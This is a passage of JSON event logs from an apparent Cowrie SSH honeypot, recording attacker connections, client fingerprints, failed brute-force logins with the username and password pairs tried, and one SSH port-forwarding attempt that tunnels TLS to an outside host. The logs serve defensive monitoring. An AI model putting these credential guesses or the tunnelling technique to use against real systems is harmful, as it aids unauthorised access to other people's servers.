{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.858738Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xab\\xd1\\xb2\\xf4\\x1c\\xe5\\xde\\xc9\\x9a/\\xb9\\xa7W\\xea\\x92\\xe7.\\x82\\xa3\\xb0\\x9e\\xb8\\xf4(\\xa1\\xce\\x05\\xb0\\x7f$\\xa4 \\xfa\\xf3z\\x94_\\xcc\\x0bu\\xff\\xdd\\xa6D~2Ue\\xa6\\xd1:[\\xbdhye\\x95\\xc9\\xd8\\xd8\\x00\\xe9\\xa5+\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 n\\x01\\xd7\\xe0d\\x12\\xf3\\t\\xebvj\\x14\\xe7\\x8dEqg\\xd8\\x02K\\xba\\xeaj\\xd8)_(\\xd0\\xa7\\x9e,A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\xab\\xd1\\xb2\\xf4\\x1c\\xe5\\xde\\xc9\\x9a/\\xb9\\xa7W\\xea\\x92\\xe7.\\x82\\xa3\\xb0\\x9e\\xb8\\xf4(\\xa1\\xce\\x05\\xb0\\x7f$\\xa4 \\xfa\\xf3z\\x94_\\xcc\\x0bu\\xff\\xdd\\xa6D~2Ue\\xa6\\xd1:[\\xbdhye\\x95\\xc9\\xd8\\xd8\\x00\\xe9\\xa5+\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 n\\x01\\xd7\\xe0d\\x12\\xf3\\t\\xebvj\\x14\\xe7\\x8dEqg\\xd8\\x02K\\xba\\xeaj\\xd8)_(\\xd0\\xa7\\x9e,A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:56.862189Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:57.689923Z","src_ip":"91.92.40.36","session":"33b7aed053e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:57.774521Z","src_ip":"45.153.34.195","session":"935b4abe03fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":62316,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd430b476ad","protocol":"ssh","message":"New connection: 150.136.214.177:62316 (10.17.0.5:22) [session: fbd430b476ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:57.972826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:57.981249Z","src_ip":"150.136.214.177","session":"fbd430b476ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:58.008483Z","src_ip":"150.136.214.177","session":"fbd430b476ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yh@123456","message":"login attempt [root/Yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:58.145701Z","src_ip":"150.136.214.177","session":"fbd430b476ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fea7a52da9a","protocol":"ssh","message":"New connection: 45.153.34.195:36746 (10.17.0.5:22) [session: 7fea7a52da9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:58.914600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:58.920357Z","src_ip":"45.153.34.195","session":"7fea7a52da9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:59.014182Z","src_ip":"45.153.34.195","session":"7fea7a52da9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:59.175786Z","src_ip":"150.136.214.177","session":"fbd430b476ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:59.286642Z","src_ip":"45.153.34.195","session":"7fea7a52da9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63686,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1fe9d3fb4f4","protocol":"ssh","message":"New connection: 91.92.40.36:63686 (10.17.0.5:22) [session: b1fe9d3fb4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:59.294926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:00.351941Z","src_ip":"91.92.40.36","session":"b1fe9d3fb4f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:00.359919Z","src_ip":"91.92.40.36","session":"b1fe9d3fb4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:00.373076Z","src_ip":"45.153.34.195","session":"7fea7a52da9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"671015ec5a63","protocol":"telnet","message":"New connection: 128.199.8.54:55814 (159.203.135.109:23) [session: 671015ec5a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:01.430555Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":36750,"dst_ip":"10.17.0.5","dst_port":22,"session":"c25dcc7780c0","protocol":"ssh","message":"New connection: 45.153.34.195:36750 (10.17.0.5:22) [session: c25dcc7780c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:01.842849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:01.850336Z","src_ip":"45.153.34.195","session":"c25dcc7780c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:01.939030Z","src_ip":"45.153.34.195","session":"c25dcc7780c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssw0rd","message":"login attempt [ubuntu/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:02.262280Z","src_ip":"45.153.34.195","session":"c25dcc7780c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.1","message":"Connection lost after 25.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:02.497143Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:03.360353Z","src_ip":"45.153.34.195","session":"c25dcc7780c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63718,"dst_ip":"10.17.0.5","dst_port":22,"session":"2beb754b333c","protocol":"ssh","message":"New connection: 91.92.40.36:63718 (10.17.0.5:22) [session: 2beb754b333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:04.092319Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52980,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b641fe8b8ec","protocol":"ssh","message":"New connection: 45.153.34.195:52980 (10.17.0.5:22) [session: 3b641fe8b8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:04.631298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:04.713423Z","src_ip":"45.153.34.195","session":"3b641fe8b8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:04.774490Z","src_ip":"45.153.34.195","session":"3b641fe8b8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kemo4511214","message":"login attempt [root/Kemo4511214] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:05.230537Z","src_ip":"45.153.34.195","session":"3b641fe8b8ec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:06.215884Z","src_ip":"91.92.40.36","session":"2beb754b333c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:06.254425Z","src_ip":"91.92.40.36","session":"2beb754b333c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:06.316346Z","src_ip":"45.153.34.195","session":"3b641fe8b8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52986,"dst_ip":"10.17.0.5","dst_port":22,"session":"df1da7d6487f","protocol":"ssh","message":"New connection: 45.153.34.195:52986 (10.17.0.5:22) [session: df1da7d6487f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:42:07.765290Z"}
